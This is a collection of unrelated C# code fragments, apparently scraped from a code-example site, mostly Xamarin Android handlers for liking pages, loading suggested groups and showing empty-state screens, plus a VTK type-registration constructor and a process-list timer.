                    holder.Button.Click += (sender, args) =>
                    {
                        try
                        {
                            if (!Methods.CheckConnectivity())
                            {
                                Toast.MakeText(ActivityContext, ActivityContext.GetString(Resource.String.Lbl_CheckYourInternetConnection), ToastLength.Short).Show();
                                return;
                            }

                            if (holder.Button.Tag.ToString() == "false")
                            {
                                holder.Button.SetBackgroundResource(Resource.Drawable
                                                                    .follow_button_profile_friends_pressed);
                                holder.Button.SetTextColor(Color.ParseColor("#ffffff"));
                                holder.Button.Text = ActivityContext.GetText(Resource.String.Btn_Unlike);
                                holder.Button.Tag  = "true";
                            }
                            else
                            {
                                holder.Button.SetBackgroundResource(Resource.Drawable.follow_button_profile_friends);
                                holder.Button.SetTextColor(Color.ParseColor(AppSettings.MainColor));
                                holder.Button.Text = ActivityContext.GetText(Resource.String.Btn_Like);
                                holder.Button.Tag  = "false";
                            }

                            PollyController.RunRetryPolicyFunction(new List <Func <Task> > {
                                () => RequestsAsync.Page.Like_Page(item.PageId)
                            });
                        }
                        catch (Exception e)
                        {
                            Console.WriteLine(e);
                        }
                    }
                }
                ;
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
 static vtkWarpTransform()
 {
     vtkWarpTransform.MRClassNameKey = "class vtkWarpTransform";
     Methods.RegisterType(Assembly.GetExecutingAssembly(), vtkWarpTransform.MRClassNameKey, Type.GetType("Kitware.VTK.vtkWarpTransform"));
 }
        private async Task LoadGroup(string offset)
        {
            if (SuggestedGroupScrollEvent != null && SuggestedGroupScrollEvent.IsLoading)
            {
                return;
            }

            if (Methods.CheckConnectivity())
            {
                if (SuggestedGroupScrollEvent != null)
                {
                    SuggestedGroupScrollEvent.IsLoading = true;
                }
                var countList = MAdapter.GroupList.Count;

                var(respondCode, respondString) = await RequestsAsync.Group.GetRecommendedGroups("10", offset);

                if (respondCode.Equals(200))
                {
                    if (respondString is ListGroupsObject result)
                    {
                        var respondList = result.Data.Count;
                        if (respondList > 0)
                        {
                            if (countList > 0)
                            {
                                foreach (var item in from item in result.Data let check = MAdapter.GroupList.FirstOrDefault(a => a.Id == item.Id) where check == null select item)
                                {
                                    MAdapter.GroupList.Add(item);
                                }

                                RunOnUiThread(() => { MAdapter.NotifyItemRangeInserted(countList, MAdapter.GroupList.Count - countList); });
                            }
                            else
                            {
                                MAdapter.GroupList = new ObservableCollection <GroupClass>(result.Data);

                                RunOnUiThread(() =>
                                {
                                    if (SuggestedGroupInflated == null)
                                    {
                                        SuggestedGroupInflated = SuggestedGroupViewStub.Inflate();
                                    }

                                    RecyclerInflaterSuggestedGroup = new TemplateRecyclerInflater();
                                    RecyclerInflaterSuggestedGroup.InflateLayout <GroupClass>(this, SuggestedGroupInflated, MAdapter, TemplateRecyclerInflater.TypeLayoutManager.LinearLayoutManagerHorizontal, 0, true, GetString(Resource.String.Lbl_SuggestedForYou), "", true);

                                    RecyclerInflaterSuggestedGroup.MainLinear.Click += MainLinearSuggestedGroupOnClick;

                                    if (SuggestedGroupScrollEvent == null)
                                    {
                                        RecyclerViewOnScrollListener playlistRecyclerViewOnScrollListener = new RecyclerViewOnScrollListener(RecyclerInflaterSuggestedGroup.LayoutManager);
                                        SuggestedGroupScrollEvent = playlistRecyclerViewOnScrollListener;
                                        SuggestedGroupScrollEvent.LoadMoreEvent += SuggestedGroupScrollEventOnLoadMoreEvent;
                                        RecyclerInflaterSuggestedGroup.Recyler.AddOnScrollListener(playlistRecyclerViewOnScrollListener);
                                        SuggestedGroupScrollEvent.IsLoading = false;
                                    }
                                });
                            }
                        }
                        else
                        {
                            if (RecyclerInflaterSuggestedGroup?.Recyler != null && MAdapter.GroupList.Count > 10 && !RecyclerInflaterSuggestedGroup.Recyler.CanScrollVertically(1))
                            {
                                Toast.MakeText(this, GetText(Resource.String.Lbl_NoMoreGroup), ToastLength.Short).Show();
                            }
                        }
                    }
                }
                else
                {
                    Methods.DisplayReportResult(this, respondString);
                }

                RunOnUiThread(ShowEmptyPage);
            }
            else
            {
                Inflated = EmptyStateLayout.Inflate();
                EmptyStateInflater x = new EmptyStateInflater();
                x.InflateLayout(Inflated, EmptyStateInflater.Type.NoConnection);
                if (!x.EmptyStateButton.HasOnClickListeners)
                {
                    x.EmptyStateButton.Click += null;
                    x.EmptyStateButton.Click += EmptyStateButtonOnClick;
                }

                Toast.MakeText(this, GetString(Resource.String.Lbl_CheckYourInternetConnection), ToastLength.Short).Show();
                if (SuggestedGroupScrollEvent != null)
                {
                    SuggestedGroupScrollEvent.IsLoading = false;
                }
            }
        }
Exemple #59
0
 private void Timer_Tick(object sender, EventArgs e)
 {
     Methods methods = new Methods();
     methods.GetProcessList(ProcessList);
 }
        private void ShowEmptyPage()
        {
            try
            {
                UserTab.ProgressBarLoader.Visibility   = ViewStates.Gone;
                PagesTab.ProgressBarLoader.Visibility  = ViewStates.Gone;
                GroupsTab.ProgressBarLoader.Visibility = ViewStates.Gone;

                if (UserTab.MAdapter.UserList.Count > 0)
                {
                    UserTab.EmptyStateLayout.Visibility = ViewStates.Gone;
                }
                else
                {
                    UserTab.Inflated ??= UserTab.EmptyStateLayout.Inflate();

                    EmptyStateInflater x = new EmptyStateInflater();
                    x.InflateLayout(UserTab.Inflated, EmptyStateInflater.Type.NoSearchResult);
                    if (!x.EmptyStateButton.HasOnClickListeners)
                    {
                        x.EmptyStateButton.Click -= EmptyStateButtonOnClick;
                        x.EmptyStateButton.Click -= TryAgainButton_Click;
                    }

                    x.EmptyStateButton.Click           += TryAgainButton_Click;
                    UserTab.EmptyStateLayout.Visibility = ViewStates.Visible;
                }


                if (PagesTab.MAdapter.PageList.Count > 0)
                {
                    PagesTab.EmptyStateLayout.Visibility = ViewStates.Gone;
                }
                else
                {
                    PagesTab.Inflated ??= PagesTab.EmptyStateLayout.Inflate();

                    EmptyStateInflater x = new EmptyStateInflater();
                    x.InflateLayout(PagesTab.Inflated, EmptyStateInflater.Type.NoSearchResult);
                    if (!x.EmptyStateButton.HasOnClickListeners)
                    {
                        x.EmptyStateButton.Click -= EmptyStateButtonOnClick;
                        x.EmptyStateButton.Click -= TryAgainButton_Click;
                    }

                    x.EmptyStateButton.Click            += TryAgainButton_Click;
                    PagesTab.EmptyStateLayout.Visibility = ViewStates.Visible;
                }

                if (GroupsTab.MAdapter.GroupList.Count > 0)
                {
                    GroupsTab.EmptyStateLayout.Visibility = ViewStates.Gone;
                }
                else
                {
                    GroupsTab.Inflated ??= GroupsTab.EmptyStateLayout.Inflate();

                    EmptyStateInflater x = new EmptyStateInflater();
                    x.InflateLayout(GroupsTab.Inflated, EmptyStateInflater.Type.NoSearchResult);
                    if (!x.EmptyStateButton.HasOnClickListeners)
                    {
                        x.EmptyStateButton.Click -= EmptyStateButtonOnClick;
                        x.EmptyStateButton.Click -= TryAgainButton_Click;
                        x.EmptyStateButton.Click += null !;
                    }

                    x.EmptyStateButton.Click += TryAgainButton_Click;
                    GroupsTab.EmptyStateLayout.Visibility = ViewStates.Visible;
                }
            }
            catch (Exception e)
            {
                //SwipeRefreshLayout.Refreshing = false;
                Methods.DisplayReportResultTrack(e);
            }
        }